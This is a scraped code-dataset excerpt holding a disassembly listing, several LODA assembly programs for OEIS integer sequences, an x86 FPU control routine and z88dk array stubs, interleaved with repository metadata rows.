0x0059 (0x0000B2) 0x211C- f:00020 d: 284 | A = OR[284]
0x005A (0x0000B4) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x005B (0x0000B6) 0x2118- f:00020 d: 280 | A = OR[280]
0x005C (0x0000B8) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E)
0x005D (0x0000BA) 0x2908- f:00024 d: 264 | OR[264] = A
0x005E (0x0000BC) 0x2119- f:00020 d: 281 | A = OR[281]
0x005F (0x0000BE) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0060 (0x0000C0) 0x2118- f:00020 d: 280 | A = OR[280]
0x0061 (0x0000C2) 0x1416- f:00012 d: 22 | A = A + 22 (0x0016)
0x0062 (0x0000C4) 0x2908- f:00024 d: 264 | OR[264] = A
0x0063 (0x0000C6) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0064 (0x0000C8) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0065 (0x0000CA) 0x291F- f:00024 d: 287 | OR[287] = A
0x0066 (0x0000CC) 0x1006- f:00010 d: 6 | A = 6 (0x0006)
0x0067 (0x0000CE) 0x2922- f:00024 d: 290 | OR[290] = A
0x0068 (0x0000D0) 0x2122- f:00020 d: 290 | A = OR[290]
0x0069 (0x0000D2) 0x1606- f:00013 d: 6 | A = A - 6 (0x0006)
0x006A (0x0000D4) 0x8613- f:00103 d: 19 | P = P + 19 (0x007D), A # 0
0x006B (0x0000D6) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x006C (0x0000D8) 0x2923- f:00024 d: 291 | OR[291] = A
0x006D (0x0000DA) 0x1800-0x006A f:00014 d: 0 | A = 106 (0x006A)
0x006F (0x0000DE) 0x2924- f:00024 d: 292 | OR[292] = A
0x0070 (0x0000E0) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x0071 (0x0000E2) 0x2925- f:00024 d: 293 | OR[293] = A
0x0072 (0x0000E4) 0x2118- f:00020 d: 280 | A = OR[280]
0x0073 (0x0000E6) 0x2926- f:00024 d: 294 | OR[294] = A
0x0074 (0x0000E8) 0x211F- f:00020 d: 287 | A = OR[287]
0x0075 (0x0000EA) 0x2927- f:00024 d: 295 | OR[295] = A
0x0076 (0x0000EC) 0x1123- f:00010 d: 291 | A = 291 (0x0123)
0x0077 (0x0000EE) 0x5800- f:00054 d: 0 | B = A
0x0078 (0x0000F0) 0x1800-0x1718 f:00014 d: 0 | A = 5912 (0x1718)
0x007A (0x0000F4) 0x7C09- f:00076 d: 9 | R = OR[9]
0x007B (0x0000F6) 0x2922- f:00024 d: 290 | OR[290] = A
0x007C (0x0000F8) 0x7214- f:00071 d: 20 | P = P - 20 (0x0068)
0x007D (0x0000FA) 0x2122- f:00020 d: 290 | A = OR[290]
0x007E (0x0000FC) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x007F (0x0000FE) 0x8405- f:00102 d: 5 | P = P + 5 (0x0084), A = 0
0x0080 (0x000100) 0x2122- f:00020 d: 290 | A = OR[290]
0x0081 (0x000102) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0082 (0x000104) 0x8402- f:00102 d: 2 | P = P + 2 (0x0084), A = 0
0x0083 (0x000106) 0x701F- f:00070 d: 31 | P = P + 31 (0x00A2)
0x0084 (0x000108) 0x2118- f:00020 d: 280 | A = OR[280]
0x0085 (0x00010A) 0x1447- f:00012 d: 71 | A = A + 71 (0x0047)
0x0086 (0x00010C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0087 (0x00010E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0088 (0x000110) 0x0A0B- f:00005 d: 11 | A = A < 11 (0x000B)
0x0089 (0x000112) 0x1520- f:00012 d: 288 | A = A + 288 (0x0120)
0x008A (0x000114) 0x0C0B- f:00006 d: 11 | A = A >> 11 (0x000B)
0x008B (0x000116) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x008C (0x000118) 0x2118- f:00020 d: 280 | A = OR[280]
0x008D (0x00011A) 0x1447- f:00012 d: 71 | A = A + 71 (0x0047)
0x008E (0x00011C) 0x2908- f:00024 d: 264 | OR[264] = A
0x008F (0x00011E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0090 (0x000120) 0x1A00-0xFFC0 f:00015 d: 0 | A = A & 65472 (0xFFC0)
0x0092 (0x000124) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0093 (0x000126) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0094 (0x000128) 0x2118- f:00020 d: 280 | A = OR[280]
0x0095 (0x00012A) 0x1446- f:00012 d: 70 | A = A + 70 (0x0046)
0x0096 (0x00012C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0097 (0x00012E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0098 (0x000130) 0x0A02- f:00005 d: 2 | A = A < 2 (0x0002)
0x0099 (0x000132) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x009A (0x000134) 0x0C02- f:00006 d: 2 | A = A >> 2 (0x0002)
0x009B (0x000136) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x009C (0x000138) 0x7C34- f:00076 d: 52 | R = OR[52]
0x009D (0x00013A) 0x0000- f:00000 d: 0 | PASS
0x009E (0x00013C) 0x1800-0xFFFE f:00014 d: 0 | A = 65534 (0xFFFE)
0x00A0 (0x000140) 0x2922- f:00024 d: 290 | OR[290] = A
0x00A1 (0x000142) 0x7027- f:00070 d: 39 | P = P + 39 (0x00C8)
0x00A2 (0x000144) 0x2122- f:00020 d: 290 | A = OR[290]
0x00A3 (0x000146) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x00A4 (0x000148) 0x8402- f:00102 d: 2 | P = P + 2 (0x00A6), A = 0
0x00A5 (0x00014A) 0x7004- f:00070 d: 4 | P = P + 4 (0x00A9)
0x00A6 (0x00014C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00A7 (0x00014E) 0x2922- f:00024 d: 290 | OR[290] = A
0x00A8 (0x000150) 0x7020- f:00070 d: 32 | P = P + 32 (0x00C8)
0x00A9 (0x000152) 0x2122- f:00020 d: 290 | A = OR[290]
0x00AA (0x000154) 0x1608- f:00013 d: 8 | A = A - 8 (0x0008)
0x00AB (0x000156) 0x8602- f:00103 d: 2 | P = P + 2 (0x00AD), A # 0
0x00AC (0x000158) 0x701C- f:00070 d: 28 | P = P + 28 (0x00C8)
0x00AD (0x00015A) 0x2118- f:00020 d: 280 | A = OR[280]
0x00AE (0x00015C) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x00AF (0x00015E) 0x2908- f:00024 d: 264 | OR[264] = A
0x00B0 (0x000160) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00B1 (0x000162) 0x080E- f:00004 d: 14 | A = A > 14 (0x000E)
0x00B2 (0x000164) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x00B3 (0x000166) 0x2913- f:00024 d: 275 | OR[275] = A
0x00B4 (0x000168) 0x2113- f:00020 d: 275 | A = OR[275]
0x00B5 (0x00016A) 0x8602- f:00103 d: 2 | P = P + 2 (0x00B7), A # 0
0x00B6 (0x00016C) 0x7005- f:00070 d: 5 | P = P + 5 (0x00BB)
0x00B7 (0x00016E) 0x1800-0xDFFF f:00014 d: 0 | A = 57343 (0xDFFF)
0x00B9 (0x000172) 0x2922- f:00024 d: 290 | OR[290] = A
0x00BA (0x000174) 0x700E- f:00070 d: 14 | P = P + 14 (0x00C8)
0x00BB (0x000176) 0x2118- f:00020 d: 280 | A = OR[280]
0x00BC (0x000178) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x00BD (0x00017A) 0x2908- f:00024 d: 264 | OR[264] = A
0x00BE (0x00017C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00BF (0x00017E) 0x080D- f:00004 d: 13 | A = A > 13 (0x000D)
0x00C0 (0x000180) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x00C1 (0x000182) 0x2913- f:00024 d: 275 | OR[275] = A
0x00C2 (0x000184) 0x2113- f:00020 d: 275 | A = OR[275]
0x00C3 (0x000186) 0x8602- f:00103 d: 2 | P = P + 2 (0x00C5), A # 0
0x00C4 (0x000188) 0x7004- f:00070 d: 4 | P = P + 4 (0x00C8)
0x00C5 (0x00018A) 0x1800-0xEFFF f:00014 d: 0 | A = 61439 (0xEFFF)
0x00C7 (0x00018E) 0x2922- f:00024 d: 290 | OR[290] = A
0x00C8 (0x000190) 0x2005- f:00020 d: 5 | A = OR[5]
0x00C9 (0x000192) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x00CA (0x000194) 0x2908- f:00024 d: 264 | OR[264] = A
0x00CB (0x000196) 0x2122- f:00020 d: 290 | A = OR[290]
0x00CC (0x000198) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00CD (0x00019A) 0x102A- f:00010 d: 42 | A = 42 (0x002A)
0x00CE (0x00019C) 0x2923- f:00024 d: 291 | OR[291] = A
0x00CF (0x00019E) 0x1123- f:00010 d: 291 | A = 291 (0x0123)
0x00D0 (0x0001A0) 0x5800- f:00054 d: 0 | B = A
0x00D1 (0x0001A2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D2 (0x0001A4) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00D3 (0x0001A6) 0x0000- f:00000 d: 0 | PASS
0x00D4 (0x0001A8) 0x0000- f:00000 d: 0 | PASS
0x00D5 (0x0001AA) 0x0000- f:00000 d: 0 | PASS
0x00D6 (0x0001AC) 0x0000- f:00000 d: 0 | PASS
0x00D7 (0x0001AE) 0x0000- f:00000 d: 0 | PASS
| 79.619048
| 79
| 0.460108
|
6d407111eda86de7583025104ac43482232a54d5
| 457
|
asm
|
Assembly
|
programs/oeis/286/A286186.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/286/A286186.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/286/A286186.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A286186: Number of connected induced (non-null) subgraphs of the friendship graph with 2n+1 nodes.
; 7,22,73,268,1039,4114,16405,65560,262171,1048606,4194337,16777252,67108903,268435498,1073741869,4294967344,17179869235,68719476790,274877907001,1099511627836,4398046511167,17592186044482,70368744177733,281474976710728,1125899906842699,4503599627370574
mov $2,$0
mul $0,2
mov $3,4
lpb $0
sub $0,1
add $2,1
mul $3,2
lpe
add $2,$3
add $1,$2
add $1,3
| 30.466667
| 253
| 0.781182
|
44c8b3abe8d85904301b416a05bf1fc953a8db9b
| 704
|
asm
|
Assembly
|
oeis/201/A201553.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/201/A201553.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/201/A201553.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A201553: Number of arrays of 6 integers in -n..n with sum zero.
; 1,141,1751,9331,32661,88913,204763,418503,782153,1363573,2248575,3543035,5375005,7896825,11287235,15753487,21533457,28897757,38151847,49638147,63738149,80874529,101513259,126165719,155390809,189797061,230044751,276848011,330976941,393259721,464584723,545902623,638228513,742644013,860299383,992415635,1140286645,1305281265,1488845435,1692504295,1917864297,2166615317,2440532767,2741479707,3071408957,3432365209,3826487139,4256009519,4723265329,5230687869,5780812871,6376280611,7019838021,7714340801
mul $0,2
mov $1,1
lpb $0
mov $2,$0
sub $0,1
seq $2,70302 ; Number of 3 X 3 X 3 magic cubes with sum 3n.
add $1,$2
lpe
mov $0,$1
| 54.153846
| 500
| 0.809659
|
cb6ccd797c9c4dd94a5e3c8c924a0adaf8893df0
| 3,126
|
asm
|
Assembly
|
lib/src/xr/x86/os2/fppclr.asm
|
zanud/xds-2.60
|
b4a32b9c9c91fe513fa5ff78ec87bb44102a3b72
|
[
"Apache-2.0"
] | 53
|
2019-06-10T18:19:44.000Z
|
2021-12-28T18:56:00.000Z
|
Sources/Lib/src/xr/x86/os2/fppclr.asm
|
undecidedzogvisvitalispotent8stars360/xds
|
cfd20e209193c9cfcee94ad2ca30d8c32ead48c9
|
[
"Apache-2.0"
] | 5
|
2020-07-10T16:06:48.000Z
|
2021-07-30T07:17:50.000Z
|
Sources/Lib/src/xr/x86/os2/fppclr.asm
|
undecidedzogvisvitalispotent8stars360/xds
|
cfd20e209193c9cfcee94ad2ca30d8c32ead48c9
|
[
"Apache-2.0"
] | 20
|
2019-06-10T18:09:16.000Z
|
2021-10-02T19:46:42.000Z
|
.386p
.387
; COPYRIGHT (c) 1995,99 XDS. All Rights Reserved.
; Implementation for FPU interface.
ifdef SYMANTEC ; =========== Rename publics
X2C_FLT_USED equ _X2C_FLT_USED
endif
ifdef OS2
.model FLAT
endif
DGROUP group _DATA
ifdef OS2
_DATA segment use32 dword public 'DATA'
else
_DATA segment use32 para public 'DATA'
endif
public X2C_FLT_USED
X2C_FLT_USED dd 0
FPP_init dd 0
fp_env db 28 dup (?)
_DATA ends
ifdef OS2
_TEXT segment use32 dword public 'CODE'
else
_TEXT segment use32 para public 'CODE'
endif
; assume cs: _TEXT, ds: DGROUP, gs: nothing, fs: nothing
public X2C_ClearFPP
X2C_ClearFPP proc near
cmp byte ptr X2C_FLT_USED, 0
jne short DO
cmp byte ptr FPP_init, 0
je short L1
DO: fnstenv fp_env
and word ptr fp_env, 0FFC0h ; Unmask all exceptions
or word ptr fp_env, 00032h ; Mask precision loss,
; underflow,
; denormalized operand
and word ptr fp_env+4H, 0C700h ; Clear exceptions,
; reset TOS to 0
mov word ptr fp_env+8H, 0FFFFh ; Empty stack
fldenv fp_env
L1: ret
X2C_ClearFPP endp
; Clear exception flags, empty FP stack & set control word.
; Set FPP control word:
; - exceptions (except precision loss, underflow and denormalized operand)
; enabled
; - presision control set to 11 -- 64 bit extended presision
; - rounding control set to 00 -- round to nearest or even
; Control word: 0000001100110010B, 0332H
public X2C_InitFPP
X2C_InitFPP proc near
cmp byte ptr FPP_init, 0
jne short L2
fninit
push 0332h
fldcw [esp]
pop eax
inc byte ptr FPP_init
L2: ret
X2C_InitFPP endp
; Set FPP control word:
;
; - exceptions disabled (it conforms to Java spec):
;
; precision loss
; underflow
; overflow
; denormalized operand
; zero divide
;
; - the other exceptions are enabled
;
; - presision control set to 10 -- 53 bit double precision
; - rounding control set to 00 -- round to nearest or even
;
; Control word: 0000_0010_0011_1111B
public X2C_InitFPP4NaN
X2C_InitFPP4NaN proc near
push 023fh
fldcw [esp]
pop eax
ret
X2C_InitFPP4NaN endp
_TEXT ends
end
| 30.349515
| 80
| 0.483685
|
025bbb3dc8df0fdb0b238c0775989551ee555053
| 501
|
asm
|
Assembly
|
oeis/008/A008797.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/008/A008797.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/008/A008797.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A008797: Molien series for group [2,4]+ = 224.
; Submitted by Jon Maiga
; 1,0,2,0,4,1,6,2,9,4,12,6,16,9,20,12,25,16,30,20,36,25,42,30,49,36,56,42,64,49,72,56,81,64,90,72,100,81,110,90,121,100,132,110,144,121,156,132,169,144,182,156,196,169,210,182,225,196,240,210,256,225,272,240,289,256,306,272,324,289,342,306,361,324,380,342,400,361,420,380,441,400,462,420,484,441,506,462,529,484,552,506,576,529,600,552,625,576,650,600
mov $2,$0
gcd $0,2
mul $0,2
div $2,2
add $0,$2
sub $0,2
pow $0,2
div $0,4
| 38.538462
| 351
| 0.680639
|
494ba34a65f886acfb66115bd487829c5e56c5c0
| 182
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/adt/w_array/c/sdcc_iy/w_array_front_fastcall.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/adt/w_array/c/sdcc_iy/w_array_front_fastcall.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/adt/w_array/c/sdcc_iy/w_array_front_fastcall.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; void *w_array_front_fastcall(w_array_t *a)
SECTION code_adt_w_array
PUBLIC _w_array_front_fastcall
_w_array_front_fastcall:
INCLUDE "adt/w_array/z80/asm_w_array_front.asm"
| 16.545455
| 50
| 0.82967
|
a0b6ceb80e5afedd476357dcaf8a2e8d88b5ea3c
| 60
|
asm
|
Assembly
|
gfx/pokemon/piloswine/anim_idle.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
gfx/pokemon/piloswine/anim_idle.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
gfx/pokemon/piloswine/anim_idle.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
setrepeat 2
frame 0, 12
frame 3, 12
dorepeat 1
endanim
| 10
| 12
| 0.7
|
1ce494aabd666407b635227473eda93e2adef8d8
| 309
|
asm
|
Assembly
|
oeis/171/A171583.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/171/A171583.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/171/A171583.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A171583: 10^n*(4+3*10^n)+3.
; Submitted by Jamie Morken(s2.)
; 10,343,30403,3004003,300040003,30000400003,3000004000003,300000040000003,30000000400000003,3000000004000000003,300000000040000000003,30000000000400000000003
mov $1,10
pow $1,$0
mul $1,3
add $1,2
pow $1,2
mov $0,$1
sub $0,25
div $0,3
add $0,10
| 22.071429
| 158
| 0.754045
|
8ab41d9ad045e3587822a72c27f636b75acd26da
| 381
|
asm
|
Assembly
|
programs/oeis/007/A007007.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/007/A007007.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/007/A007007.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A007007: Valence of graph of maximal intersecting families of sets.
; 0,1,3,4,10,15,35,56,126,210,462,792,1716,3003,6435,11440,24310,43758,92378,167960,352716,646646,1352078,2496144,5200300,9657700,20058300,37442160,77558760,145422675,300540195,565722720,1166803110,2203961430
mov $2,$0
mov $4,$0
lpb $2
mov $1,$4
add $1,1
mov $3,$2
trn $2,39
div $3,2
bin $1,$3
lpe
| 27.214286
| 208
| 0.727034
|
ef4bd45768b76813b125a428a2e0ea8cadf0fe53
| 403
|
asm
|
Assembly
|
programs/oeis/025/A025793.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/025/A025793.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/025/A025793.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A025793: Expansion of 1/((1-x)(1-x^10)(1-x^11)).
; 1,1,1,1,1,1,1,1,1,1,2,3,3,3,3,3,3,3,3,3,4,5,6,6,6,6,6,6,6,6,7,8,9,10,10,10,10,10,10,10,11,12,13,14,15,15,15,15,15,15,16,17,18,19,20,21,21,21,21,21,22,23,24,25,26
mov $2,$0
add $2,1
mov $5,$0
lpb $2
mov $0,$5
sub $2,1
sub $0,$2
mov $4,3
lpb $0
div $0,10
mul $0,11
div $4,3
lpe
mov $3,$4
div $3,3
add $1,$3
lpe
mov $0,$1
| 18.318182
| 163
| 0.526055
|
3084cab70ccdb489b17dafe5e6153b4571751f9f
| 710
|
asm
|
Assembly
|
oeis/182/A182541.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/182/A182541.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/182/A182541.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A182541: Coefficients in g.f. for certain marked mesh patterns.
; Submitted by Jon Maiga
; 1,4,19,107,702,5274,44712,422568,4407120,50292720,623471040,8344624320,119938250880,1842662908800,30136443724800,522780938265600,9587900602828800,185371298306611200,3768248516336640000,80349669847157760000,1793238207723325440000,41806479141525288960000,1016281507766049423360000,25717261895017855303680000,676404414292129730887680000,18464564916450805551759360000,522452252385831731529646080000,15303559491494977144610488320000,463527665741719165315586457600000,14501984067899389654101334425600000
mov $1,3
mov $3,3
lpb $0
mov $2,$0
sub $0,1
add $2,2
mul $3,$2
add $3,$1
mul $1,$2
lpe
mov $0,$3
div $0,3
| 41.764706
| 499
| 0.838028
|
fe1ca4f2d4d3391634005cafc011d47907e0a3f1
| 301
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/adt/b_array/c/sdcc_iy/b_array_erase_block_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/adt/b_array/c/sdcc_iy/b_array_erase_block_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/adt/b_array/c/sdcc_iy/b_array_erase_block_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; size_t b_array_erase_block_callee(b_array_t *a, size_t idx, size_t n)
SECTION code_clib
SECTION code_adt_b_array
PUBLIC _b_array_erase_block_callee
EXTERN asm_b_array_erase_block
_b_array_erase_block_callee:
pop af
pop hl
pop bc
pop de
push af
jp asm_b_array_erase_block
| 15.05
| 71
| 0.787375
|
ab26619091a05e92f5a26808a85371b07bd59d74
| 774
|
asm
|
Assembly
|
oeis/126/A126963.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/126/A126963.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/126/A126963.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A126963: Numerators of sequence defined by f(0)=1, f(1)=5/4; f(n) = ( (6*n-1)*f(n-1) - (2*n-1)*f(n-2) )/(4n).
; Submitted by Christian Krause
; 1,5,43,177,2867,11531,92479,370345,11857475,47442055,379582629,1518418695,24295375159,97182800711,777467420263,3109879375897,199032580597603,796130905791967,6369049515119561,25476202478636219,407619274119811709,1630477163761481141,13043817573104219593,52175270807006298847,1669608673886102483879,6678434711345735740235,53427477752755702540393,213709911132706524264579,3419358579079390713328319,13677434318196767009534591,109419474552965672424080567,437677898226407325735549177
mul $0,2
mov $1,1
lpb $0
mov $2,$0
sub $0,1
add $3,$1
mul $1,2
mul $3,$0
sub $0,1
mul $1,$2
lpe
add $1,$3
gcd $3,$1
div $1,$3
mov $0,$1
| 38.7
| 478
| 0.777778
|
ef37b563c7b7803d154fc18ecff3a942d13e48fc
| 609
|
asm
|
Assembly
|
oeis/242/A242850.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/242/A242850.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/242/A242850.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A242850: 32*n^5 - 32*n^3 + 6*n.
; 0,6,780,6930,30744,96030,241956,526890,1032240,1866294,3168060,5111106,7907400,11811150,17122644,24192090,33423456,45278310,60279660,79015794,102144120,130395006,164575620,205573770,254361744,312000150,379641756,458535330,550029480,655576494,776736180,915179706,1072693440,1251182790,1452676044,1679328210,1933424856,2217385950,2533769700,2885276394,3274752240,3705193206,4179748860,4701726210,5274593544,5901984270,6587700756,7335718170,8150188320,9035443494,9996000300,11036563506,12162029880
mul $0,2
mov $2,$0
mul $2,$0
sub $2,2
pow $2,2
mov $3,$0
mul $0,$2
sub $0,$3
| 50.75
| 496
| 0.819376
|
9c377e2f08616ddc6c8377ac61300cebd2945bc9
| 1,497
|
asm
|
Assembly
|
programs/oeis/236/A236283.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/236/A236283.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/236/A236283.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A236283: The number of orbits of triples of {1,2,...,n} under the action of the dihedral group of order 2n.
; 1,4,5,10,13,20,25,34,41,52,61,74,85,100,113,130,145,164,181,202,221,244,265,290,313,340,365,394,421,452,481,514,545,580,613,650,685,724,761,802,841,884,925,970,1013,1060,1105,1154,1201,1252,1301,1354,1405,1460,1513,1570,1625,1684,1741,1802,1861,1924,1985,2050,2113,2180,2245,2314,2381,2452,2521,2594,2665,2740,2813,2890,2965,3044,3121,3202,3281,3364,3445,3530,3613,3700,3785,3874,3961,4052,4141,4234,4325,4420,4513,4610,4705,4804,4901,5002,5101,5204,5305,5410,5513,5620,5725,5834,5941,6052,6161,6274,6385,6500,6613,6730,6845,6964,7081,7202,7321,7444,7565,7690,7813,7940,8065,8194,8321,8452,8581,8714,8845,8980,9113,9250,9385,9524,9661,9802,9941,10084,10225,10370,10513,10660,10805,10954,11101,11252,11401,11554,11705,11860,12013,12170,12325,12484,12641,12802,12961,13124,13285,13450,13613,13780,13945,14114,14281,14452,14621,14794,14965,15140,15313,15490,15665,15844,16021,16202,16381,16564,16745,16930,17113,17300,17485,17674,17861,18052,18241,18434,18625,18820,19013,19210,19405,19604,19801,20002,20201,20404,20605,20810,21013,21220,21425,21634,21841,22052,22261,22474,22685,22900,23113,23330,23545,23764,23981,24202,24421,24644,24865,25090,25313,25540,